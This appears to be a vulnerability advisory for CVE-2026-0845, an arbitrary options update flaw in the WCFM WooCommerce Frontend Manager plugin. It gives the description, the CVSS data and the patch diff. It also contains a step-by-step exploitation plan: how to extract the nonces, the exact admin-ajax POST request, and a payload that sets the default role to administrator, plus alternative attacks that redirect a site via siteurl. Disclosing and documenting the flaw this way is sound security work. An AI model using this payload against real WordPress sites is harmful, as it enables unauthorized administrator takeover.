CVE-2026-0845

WCFM - WooCommerce Frontend Manager <= 6.7.24 - Authenticated (Shop Manager+) Arbitrary Options Update

highMissing Authorization
7.2
CVSS Score
7.2
CVSS Score
high
Severity
6.7.25
Patched in
1d
Time to patch

Description

The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'WCFM_Settings_Controller::processing' function in all versions up to, and including, 6.7.24. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=6.7.24
PublishedFebruary 9, 2026
Last updatedFebruary 9, 2026
Affected pluginwc-frontend-manager

What Changed in the Fix

Changes introduced in v6.7.25

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0845 - WCFM Arbitrary Options Update ## 1. Vulnerability Summary The **WCFM – Frontend Manager for WooCommerce** plugin (versions <= 6.7.24) contains a critical missing authorization vulnerability in its settings processing logic. Specifically, the `WCFM_Setti…

Show full research plan

Exploitation Research Plan: CVE-2026-0845 - WCFM Arbitrary Options Update

1. Vulnerability Summary

The WCFM – Frontend Manager for WooCommerce plugin (versions <= 6.7.24) contains a critical missing authorization vulnerability in its settings processing logic. Specifically, the WCFM_Settings_Controller::processing function fails to verify if the authenticated user has the necessary administrative permissions before updating global WordPress options.

While the AJAX entry point ensures the user has a baseline capability (like manage_woocommerce for Shop Managers), the settings controller iterates over an attacker-supplied array and calls update_option() on arbitrary keys. An attacker with Shop Manager or higher privileges can leverage this to modify sensitive site settings, such as enabling user registration (users_can_register) and setting the default new user role to administrator, leading to full site takeover.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: wcfm_ajax_controller
  • Required Parameter: controller=wcfm-settings
  • Payload Parameter: wcfm_settings_form (URL-encoded serialized string)
  • Authentication: Authenticated, Shop Manager role or any role with manage_woocommerce capability.
  • Preconditions: The plugin must be active. A Shop Manager account is required to obtain the necessary nonces and reach the controller.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=wcfm_ajax_controller.
  2. AJAX Routing: WCFM_Ajax::wcfm_ajax_controller (in core/class-wcfm-ajax.php) is triggered.
  3. Outer Nonce Check: It validates wcfm_ajax_nonce using check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ).
  4. Controller Selection: The code checks $_POST['controller']. If set to wcfm-settings, it includes controllers/settings/wcfm-controller-settings.php and instantiates WCFM_Settings_Controller.
  5. Constructor Trigger: WCFM_Settings_Controller::__construct immediately calls $this->processing().
  6. Data Parsing: processing() (line 26) parses the wcfm_settings_form parameter: parse_str($_POST['wcfm_settings_form'], $wcfm_settings_form);.
  7. Inner Nonce Check: It validates the settings-specific nonce: wp_verify_nonce( $wcfm_settings_form['wcfm_nonce'], 'wcfm_settings' ).
  8. Vulnerable Sink: Between lines 155–161, the code processes wcfm_page_options:
    if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) {
        $wcfm_page_options = get_option("wcfm_page_options", array());
        $wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] );
        foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) {
            update_option( $wcfm_page_option_key, $wcfm_page_option_val );
        }
        update_option( 'wcfm_page_options', $wcfm_page_options );
    }
    
    The foreach loop calls update_option for every key inside the $wcfm_page_options array, which contains data merged directly from user input.

4. Nonce Acquisition Strategy

Two nonces are required. Since this is an authenticated exploit, we can extract them from the WCFM Dashboard area.

  1. Identify the Dashboard: WCFM usually lives at a page containing the [wc_frontend_manager] shortcode.
  2. Action Plan:
    • Use wp post create to ensure a page exists with the [wc_frontend_manager] shortcode if one isn't found.
    • Use browser_navigate to visit the WCFM dashboard as the Shop Manager.
    • Extract the outer AJAX nonce: browser_eval("window.wcfm_params?.wcfm_ajax_nonce").
    • Extract the inner settings nonce: Navigate to the settings sub-page (usually [dashboard-url]settings/) and use browser_eval("window.wcfm_settings_params?.wcfm_nonce") or check for wcfm_nonce in the HTML form.

5. Exploitation Strategy

  1. Log in as a Shop Manager.
  2. Extract Nonces:
    • wcfm_ajax_nonce (Action: wcfm_ajax_nonce)
    • wcfm_nonce (Action: wcfm_settings)
  3. Construct Payload: Create a URL-encoded string for wcfm_settings_form.
    wcfm_nonce=[SETTINGS_NONCE]&wcfm_page_options[users_can_register]=1&wcfm_page_options[default_role]=administrator
    
  4. Send POST Request:
    • URL: http://[target]/wp-admin/admin-ajax.php
    • Body:
      • action: wcfm_ajax_controller
      • controller: wcfm-settings
      • wcfm_ajax_nonce: [AJAX_NONCE]
      • wcfm_settings_form: [PAYLOAD_FROM_STEP_3]
  5. Registration: Once options are updated, use the public registration endpoint to create a new administrator user.

6. Test Data Setup

  • Users: Create a user with the shop_manager role.
  • Page: Create a page with the shortcode [wc_frontend_manager] to ensure nonces are localized.
    wp post create --post_type=page --post_title="Dashboard" --post_content='[wc_frontend_manager]' --post_status=publish
    
  • Initial State: Ensure users_can_register is 0 and default_role is subscriber.

7. Expected Results

  • The AJAX request should return a JSON response (though the code might die/exit silently if successful).
  • The WordPress options users_can_register and default_role will be updated in the database.

8. Verification Steps

After the exploit, use WP-CLI to verify the changes:

wp option get users_can_register # Expected: 1
wp option get default_role      # Expected: administrator

9. Alternative Approaches

  • Lesser Role: If shop_manager access fails, test with the wcfm_vendor role, as the wcfm_ajax_controller switch case also allows vendors for many sub-controllers.
  • Direct Option Update: If wcfm_page_options is patched, check other arrays in the processing() function, such as wcfm_page_options or endpoint options, which might use a similar vulnerable merge/loop pattern.
  • Option Hijacking: Instead of default_role, target siteurl or home to cause a Denial of Service or redirect users to a malicious site.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WCFM plugin for WordPress is vulnerable to an arbitrary options update due to missing authorization and input validation in the settings controller. Authenticated attackers with Shop Manager privileges can manipulate site settings, such as enabling public registration and changing the default user role to administrator, leading to full site takeover.

Vulnerable Code

// controllers/settings/wcfm-controller-settings.php:155
		// Save WCFM page option
		if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) {
			$wcfm_page_options = get_option("wcfm_page_options", array());
			$wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] );
			foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) {
				update_option( $wcfm_page_option_key, $wcfm_page_option_val );
			}
			update_option( 'wcfm_page_options', $wcfm_page_options );
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.24/controllers/settings/wcfm-controller-settings.php /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.25/controllers/settings/wcfm-controller-settings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.24/controllers/settings/wcfm-controller-settings.php	2025-12-20 05:45:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.25/controllers/settings/wcfm-controller-settings.php	2026-02-07 07:41:00.000000000 +0000
@@ -150,6 +150,8 @@
 		if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) {
 			$wcfm_page_options = get_option("wcfm_page_options", array());
 			$wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] );
+			$wcfm_allowed_page_keys = apply_filters( 'wcfm_allowed_page_keys', array('wc_frontend_manager_page_id', 'wcfm_vendor_membership_page_id', 'wcfm_vendor_registration_page_id', 'wcfm_affiliate_registration_page_id') );
+			$wcfm_page_options = array_intersect_key( $wcfm_page_options, array_flip( $wcfm_allowed_page_keys ) );
 			foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) {
 				update_option( $wcfm_page_option_key, $wcfm_page_option_val );
 			}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.24/core/class-wcfm-ajax.php /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.25/core/class-wcfm-ajax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.24/core/class-wcfm-ajax.php	2025-12-20 05:45:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.25/core/class-wcfm-ajax.php	2026-02-07 07:41:00.000000000 +0000
@@ -296,6 +296,10 @@
 						elseif( $WCFM->is_marketplace == 'dokan' ) new WCFM_Settings_Dokan_Controller();
 						elseif( $WCFM->is_marketplace == 'wcfmmarketplace' ) new WCFM_Settings_Marketplace_Controller();
 					} else {
+						if(!current_user_can( apply_filters( 'wcfm_setup_page_required_capability', 'access_wcfm_site_setup' ) ) && !( function_exists('wcfm_is_manager') && wcfm_is_manager() && function_exists('wcfm_is_group_manager') && ! wcfm_is_group_manager() )) {
+							wp_send_json_error( esc_html__( 'You don&#8217;t have permission to do this.', 'woocommerce' ) );
+							wp_die();
+						}
 						include_once( $this->controllers_path . 'settings/wcfm-controller-settings.php' );
 						new WCFM_Settings_Controller();
 					}

Exploit Outline

To exploit this vulnerability, an attacker with Shop Manager or higher privileges must first obtain two nonces: the AJAX nonce (wcfm_ajax_nonce) and the settings nonce (wcfm_nonce), both accessible from the WCFM dashboard. The attacker then sends a POST request to wp-admin/admin-ajax.php with the action 'wcfm_ajax_controller' and the controller 'wcfm-settings'. The core payload resides in the 'wcfm_settings_form' parameter, where the attacker supplies an array under 'wcfm_page_options'. Because the server merges this array with existing options and iterates through it calling update_option() on every key without validation, the attacker can set 'users_can_register' to 1 and 'default_role' to 'administrator', allowing them to then register a new administrative account on the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.